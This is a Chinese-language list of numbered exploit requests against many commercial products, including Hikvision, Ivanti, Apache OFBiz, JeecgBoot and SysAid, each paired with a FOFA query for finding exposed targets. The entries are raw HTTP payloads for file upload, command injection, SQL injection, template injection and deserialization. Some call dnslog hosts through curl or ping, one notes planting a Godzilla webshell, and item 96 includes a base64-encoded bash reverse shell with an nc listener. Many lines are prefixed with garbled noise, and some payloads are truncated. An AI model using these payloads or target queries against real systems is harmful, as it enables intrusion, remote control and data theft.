/ Q$ o; M# C% Q& [7 jHost: x.x.x.x



- S7 F3 D$ R. V77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
2 T" Y9 ]8 q/ }6 K/ S* S: V% ]* `Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
' |$ i: h5 s3 b$ N$ wAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
: S5 U0 |! e8 H% t% kContent-Disposition: form-data; name="folder"

/upload/udplog
8 A3 \  G2 C% b3 E------------398jnjVTTlDVXHlE7yYnfwBoix
9 ^; y+ o# S# X+ EContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
. ?& C/ @. y* O! V7 o
6 V2 j3 E% Z) ~" ~hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
% M" ]0 J8 L" N& b  AContent-Disposition: form-data; name="Upload"

5 p2 q* J8 z! b' j" L0 HSubmit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--

5 p  i# Z5 }8 V7 S  x! b  g. S
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
! q# c: I( ]4 i6 I2 r/ P5 X9 DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 336
- `$ S% l' Z2 I4 g  PAccept-Encoding: gzip
9 @; J: Y# ?1 @! m' @* F! m' q" LContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
! R: _$ Q8 A, m8 O; s3 `Content-Type: image/png
0 K" u% `( f5 k, S& F" N
YsOxWxSvj1KyZow1PTsh98fdu6l
1 s* @4 g8 L% u* ~+ ?" C------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
4 U1 v. H* V0 V( s6 L' F! B! C
! i8 k7 `' t& q. n! h$ O/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--
8 T4 ]" Q2 L% A. O) v; |

GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
# {6 |6 ~& D5 H/ S' }1 RHost: x.x.x.x
) A  A: l2 z% G6 c

6 M$ f* O( K: m9 L$ v& b79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
) O; u4 O* S, I" Z. \" y6 UHost:IP
6 x6 G+ p9 P+ O: S" y6 P) L3 oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
  E4 U3 y7 ?7 S. z* ~" HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 @. W. |  Z) r7 c6 {9 u; u& vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! C2 Z) f0 j# n# D4 aAccept-Encoding: gzip, deflate
Connection: close
9 X" S% i9 ~( Y- A6 j& Z# e2 nUpgrade-Insecure-Requests: 1
3 T0 n5 M5 M; h3 |4 h

80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
9 G9 r7 m. n' u- g# n. B$ C5 gPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
& E$ t; P2 B+ g$ i, VHost: x.x.x.x
  T6 c: [# p/ z$ w5 y; b! ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
2 G/ }2 p) @. s% OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
% S- q6 N6 u, k3 `+ W, G2 jAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' E; B$ ^( R- R- [( SConnection: close
Content-Type: application/octet-stream
+ ^6 U- W9 W: t/ Q& oUpgrade-Insecure-Requests: 1

$ l5 d# U5 A6 K( f9 Z<% out.print("oessqeonylzaf");%>
4 ]& J. N* c1 c: x
0 j# z1 g, d2 V4 T0 E8 K) s8 `, [
GET /xykqmfxpoas.jsp HTTP/1.1
# c# O+ w* k8 u, W* O* P- gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. J3 W7 x0 h2 }! A- b7 [( ?9 d. hConnection: close
Accept-Encoding: gzip
5 s1 _. d9 Z: |8 k, b

6 Z' [; N; t* s81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
. Y, }  G3 I% z% W5 S2 |$ KFOFA：app="uniview-视频监控"
+ w. T4 i1 h3 [2 [7 _2 q7 jGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) u! p& b) G: A* {5 ]Connection: close
1 M( V8 L: w" sAccept-Encoding: gzip
+ A  p8 a! t4 c4 V1 H

* T* u( e4 l4 D7 @3 s82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
) s/ C  Q) `6 J1 hFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
% ^$ ^+ O& e9 zContent-Length: 23
2 f1 K( X9 g1 e" b; M" y7 u$ w: yAccept-Encoding: gzip
Connection: close
9 F0 L- G3 ~* b6 a7 A( K, |Content-Type: application/x-www-form-urlencoded
" Z5 x5 G/ ^/ ]& BReferer: BaseURL

z1=1&z2="|id;"&z3=bhost

% P% U+ v& ^2 H5 l7 Q, r
8 c7 g  R; L( a9 O# T/ K5 k( s& y83. JeecgBoot testConnection 远程命令执行
) ^* {- l9 S7 a  ^/ Q  \4 ]FOFA：title=="JeecgBoot 企业级低代码平台"
* U! N' U. D8 f
* Z3 J1 L' u$ l: a4 L5 T
7 m: l( E6 P* E! dPOST /jmreport/testConnection HTTP/1.1
# X& q5 Q# c, P0 {Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
! r2 w- T* g! s$ A( N! Y1 Y+ z2 d) rContent-Length: 8881
Accept-Encoding: gzip
# u: [  W" K- c/ |5 c$ LCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
8 F- i: P+ V# `# ?" TContent-Type: application/json

- ^/ z5 u  n# m# D; A2 W3 b( D# kPAYLOAD

84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
  J% g- n0 m+ C# \/ L' LFOFA：title=="JeecgBoot 企业级低代码平台"

( |2 P+ L! V& l! G" v& X4 C" v' u8 k
# V" e4 c+ M" s
% J7 }& K0 X' a3 Y5 S( ^POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
1 J+ B$ u4 r- tConnection: close
+ y6 U/ {) ]8 ?Content-Type: application/json
2 J) S; f- B+ z7 b2 rAccept-Encoding: gzip

{
- H$ k8 m* B# B& B "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
- t/ D. i2 o! ^! U  "type": "0"
}
0 y# ?; C. E/ L. b# @" E2 Y9 A
1 X0 h3 B# q6 R9 W7 A2 e7 Z, y9 l
$ V; ]. }& V2 Y; e4 Y" b' s  C6 x85. SysAid On-premise< 23.3.36远程代码执行
2 V( R6 h2 U4 V" p% @0 q7 \4 {( @CVE-2023-47246
: {) N& T9 f/ A2 CFOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
6 K) i- K6 o4 ]+ Y# o* i1 ]Host: x.x.x.x
% c: w, I; |7 Q* i) S, Y' Y* Y( C6 MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* W& s) k: J$ o! S1 u$ p% vContent-Type: application/octet-stream
Accept-Encoding: gzip
7 a+ C9 P9 @( q2 t$ o7 ~
PAYLOAD
) N- ~' d9 `; O' ?7 D! U2 F( v  M
- ]6 r5 P' q1 r4 F' s* |4 c回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
7 o  M) {6 B' hFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
1 m' c! |/ _# b! NHost: x.x.x.x
3 f$ A8 H/ A7 h5 H: x1 u, c! G* yUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
; p7 y3 F7 a( a$ @" }: M" ~+ r: pConnection: close
5 U, K7 Z8 f8 j" }" A" c* oContent-Length: 44
Accept: */*
# K6 {' H! ~; T! Z0 CAccept-Encoding: gzip
Accept-Language: en
0 K$ N( U( y9 b. {. I- WContent-Type: application/x-www-form-urlencoded

9 ~) C. `3 l$ G4 q" a: ghost=%0acat${IFS}/etc/passwd%0a&command=ping
% [0 n1 T5 ^& J3 K8 J0 O  @
5 X5 x" c) L* M5 C9 ?
* P# q" q+ K6 |9 H87. 安恒明御安全网关aaa_local_web_preview文件上传
/ _0 v' l( |  [: n, JFOFA：title="明御安全网关"
8 L7 c$ a! @5 z5 S; v% g& }POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
4 r9 n# T% {: g9 j- p+ BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
1 U' A! f1 a5 f$ E% r' mContent-Length: 198
' R1 d- g* J3 C# JAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

3 s8 ~4 _! H% k4 g/ W! {5 k--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
3 T" C2 ]& G: N0 p8 a& I
+ }6 b0 v+ w/ `, ?+ b2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--

6 |% B$ Z8 h- ]  \: ]& v  s
* S5 v1 i" i% B/ }# a% f5 }! W/jfhatuwe.php

1 X2 t  d& W% j1 J5 F9 u88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
; |( w: P2 x* M, pFOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ d& }7 G( o( s! x9 xAccept-Encoding: gzip, deflate
& c$ A9 M; \  Z8 T8 Q! {( TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# Y1 s# B# O$ l4 T8 d/ T4 lConnection: close
# Z4 r( O$ b/ M
" i# a5 i( s  K# o" a
; H: i% J& P) n/astdfkhl.php
1 |7 N! c' k: }6 ]- t! @# G5 S
& z! v% ^" |; F+ B89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
- I0 {9 U, u5 FHost: x.x.x.x
6 F3 [# @/ U1 JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

8 U4 N" J# F8 }9 Z( Moption=2&GUID=-1'+union+select+111*222--+
! B4 b" }( u# z1 G; V+ ^
2 {. r& Y7 j7 N% c! {2 D
; w/ R3 J7 M) Y1 c. {' x90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
0 Y- q1 F2 k) w0 i2 Y0 P+ rFOFA：icon_hash="-1830859634"
# E2 @$ E2 \7 ^; r8 `POST /php/ping.php HTTP/1.1
" l: o$ Y* P. [  s6 J, G$ u5 iHost: x.x.x.x
9 i* V/ x! _+ A2 s8 cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ ?% B& }. x2 U  ?Connection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
" P- b( Z9 @. {
/ @) @) o/ W4 q0 {jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

% S- g/ h6 {. o$ d+ n  P6 F( e
, S# ?& W. Q; b) l4 \! N1 A91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
; {2 `; F8 n+ v* _1 gFOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
, J, l8 c  ^& D5 \1 H3 TAccept-Encoding: gzip, deflate
) \: |, L# g4 f$ i* u6 j$ LAccept: */*
Connection: keep-alive
: g7 H9 H* R5 I' E0 P
; l/ D. V* b+ X. Y3 r0 R

92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
" F% o: n9 R3 G# r$ Z- K  N& qHost:
Accept: application/json, text/plain, */*
+ m4 c) y( x$ C/ p7 K4 l/ B5 aAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
# ?3 k& c: C; NX-Language-Type: zh_CN
8 [* i# w7 ?" U  p  j# S5 d4 HTestcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
9 n- @4 I( f3 IContent-Length: 5778

PAYLOAD


93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
: b/ G  R$ D( {. ?; k' xFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarykcbkgdfx
8 w' B1 C1 n+ @0 ~: C5 wContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
' \% S5 T/ ]  |# F4 @. s
wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"

8 m, l1 _& E6 D# N2 zobj_app_upfile
. p: d" q7 p8 z% \( M* K------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

- |8 W5 A1 Y; h4 Z. X  G( b7 v0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--


4 Z5 J8 j  ^% _4 e8 l1 j' LGET /attachements/xlskxknxa.txt HTTP/1.1
) u  c- _( |; H& UHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
( s6 z& X- o! p7 L: j, |( }

7 R- t8 P. ~0 k! ?94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
' U; {4 i, d  A  U' M& l, a1 FPOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
# j* B, F0 o$ R1 @7 oContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
5 Y: J' _, b2 C( A
4 C4 {/ N5 g& e% B+ ^------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
& ]1 D5 q9 h4 H/ c. v' Y
+ W- V8 K. p( p0 l10000000
2 x8 p5 J1 d9 Z* O4 p% p------WebKitFormBoundarybqvzqvmt
) O2 ]" O, f; F/ W+ mContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
( X0 S  Q% I3 ]) ]Content-Type: text/plain

. Y+ H" n& y8 kpxplitttsrjnyoafavcajwkvhxindhmu
6 m, i6 h+ B/ l. J4 \/ N------WebKitFormBoundarybqvzqvmt
9 g7 z6 X- M( Q" v6 [" H+ D8 TContent-Disposition: form-data; name="submit_post"

; U, V* P, c8 Qobj_app_upfile
------WebKitFormBoundarybqvzqvmt
9 ~8 ]3 x, P- n7 r7 o1 vContent-Disposition: form-data; name="__hash__"
6 n9 v5 R* y- p0 b
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
4 n1 j3 `) o; @( h2 \$ a
( m/ p% O2 E+ |$ @! T: u6 q9 a
& e( R4 f# ~2 C  {) U7 t& O8 X; Z  o
GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

4 `& M" _- a0 ^. `& H) k4 [
# l' e$ v( U# N  U8 {& _
* b  G  b6 g# v" N2 x95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
. k2 m0 X$ _  i5 z* y& VCVE-2023-49070
/ _" ^, `7 ]* {( ?FOFA：app="Apache_OFBiz"
1 Y: s) s6 D1 j* v5 K; LPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
5 R. V) I: h3 [$ c* QUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

3 W! Z5 p- |# ?& @, Y<?xml version="1.0"?>
<methodCall>
- O$ j4 O9 W7 N5 D5 ~   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
      <value>
: ?0 i: a4 v( e9 x1 K' K! G% E        <struct>
3 v+ h8 B% y  E0 [& u       <member>
          <name>test</name>
9 a4 m& ^, g$ ~8 l7 n$ b          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
& h) }' A0 P$ o/ p        </member>
8 J+ }! }4 r4 i      </struct>
      </value>
    </param>
' B4 F: X0 d8 K% j' Y( a9 R& X    </params>
- Y+ h' `5 Y% m9 e% d& Z/ [</methodCall>
( F; e. o9 i3 b1 Q2 u) q
1 _- x$ p& l# ~
6 w' b- `) R+ ]6 J5 O用ysoserial生成payload
. g) i$ N7 x, @8 [) q7 ^* U+ gjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
- X) T; Q% R2 y# A$ d* x( l! j6 X: ^

将生成的payload替换到上面的POC
5 A: X5 S5 r/ g! b( W, B- nPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
* A% D3 Y& E. Z+ S1 \1 G% eHost: 192.168.40.130:8443
- a8 i3 V0 Y' _) V/ [User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
' G+ ~  ^+ p, @7 v7 uConnection: close
: o9 Y& i* u7 g8 }Content-Length: 889
% o8 V6 n6 r1 @8 ^/ F; ^  vContent-Type: application/xml
Accept-Encoding: gzip
/ V- }! Z3 u+ [9 P/ y3 _! v
4 U. m: u+ y: Q4 [PAYLOAD

7 r  ]* y/ j4 w. L96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
9 M# P: D. X7 r; U' n  DPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: t) b6 E! ~5 O2 H: AContent-Type: application/x-www-form-urlencoded
Content-Length: 55
" [1 p& _+ E& E; u' c
groovyProgram=throw+new+Exception('id'.execute().text);
2 \, z+ Q9 K: `9 p3 A, c( i! K0 |

4 @9 j  F# q8 }4 l, S$ [" p反弹shell
# O6 I6 `) c7 X5 ]5 _. k在kali上启动一个监听
nc -lvp 7777

$ g1 c0 c4 ^# q5 `. WPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
" _( x# y1 Y6 T) n3 BHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
  X2 E; t/ J) }# M1 k) F. A! cAccept: */*
0 F9 k) ~- d) g& J5 L# dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
9 s; O* Q! |; u4 j' ~Content-Length: 71
. A, O$ W( h& Y- }5 w3 V
  c) \* ^' H& {7 f/ bgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
1 b% F, J1 D5 K' ]' ^Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 w) u  s- M; F+ x5 _Accept-Encoding: gzip
Connection: close
4 \; {( _% _& ~Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
) |& c8 m, a, _; V" L* d

98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
$ ^; M8 H! z3 k# C. l; @  V$ ^FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
! `) r8 N1 y, v. oHost: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
; O; E, X9 z4 ]2 r4 t. bAccept: */*
& E4 S" L! N: V/ TAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
6 T' G6 G3 x; i" `) a9 b6 jX-Requested-With: XMLHttpRequest
* z  i# d' }* r# l! }( F: k
) J# `8 y' a- U8 n% P( _id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
) b0 k) F6 A; {& s7 B% }8 X1 f

) P$ X$ r! w' P; k* k. k99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
' M% n1 ~. W4 H0 x0 F4 QFOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
3 R) `2 v  h" H- ~" a4 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
: e) h) t0 f- e2 u- j' ~. jConnection: close
Content-Length: 154
- O; I: c. L4 M- @3 g# j. @Accept: */*
+ y% I* Z* \  f; W+ ]; d" kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
! p% D9 m) ?# |+ i- FX-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
; S5 P9 E0 X8 p* s, f

) u3 o4 `6 p+ `6 Y100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
" L* g) A5 @- W/ Q0 ~6 E# eCVE-2024-0352
FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
7 i( V9 j8 x9 Z: n- H: VHost: 192.168.40.130
, x1 N, Q+ d* Y) ^User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
& C9 R6 {2 N' ^+ p8 r% c6 bContent-Type: application/x-php

. T: y! D! P" f# m6 ?; D2 o2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
* a6 E+ v" F5 \0 J, m4 W

) l6 C6 v- P) m4 r101. ivanti policy secure-22.6命令注入
6 R0 Z0 S7 o) `1 \( t5 [! r/ DCVE-2024-21887
1 j/ l. @( k& X, G# s6 `) ?4 C) aFOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
. H5 w1 v" `+ W+ }" b) [$ @Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
2 B6 Y* ~! c7 x5 b$ r! lAccept-Encoding: gzip

( D0 F2 j0 D: a
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
" }1 c* r7 Y, T0 K  Y7 Q/ i$ H) H8 yCVE-2024-21893
4 P4 g0 @  l+ v- ], N. u4 [8 iFOFA：body="welcome.cgi?p=logo"
# Y/ L# ?1 w+ k; NPOST /dana-ws/saml20.ws HTTP/1.1
1 \8 F) O1 }$ \9 K3 ]8 f, N( B9 X+ YHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
. I; a7 Z- n, k6 H0 BConnection: close
Content-Length: 792
* {2 m3 f0 N/ Q; EAccept-Encoding: gzip
7 f/ K9 c2 k4 @6 d& C6 d* I+ N
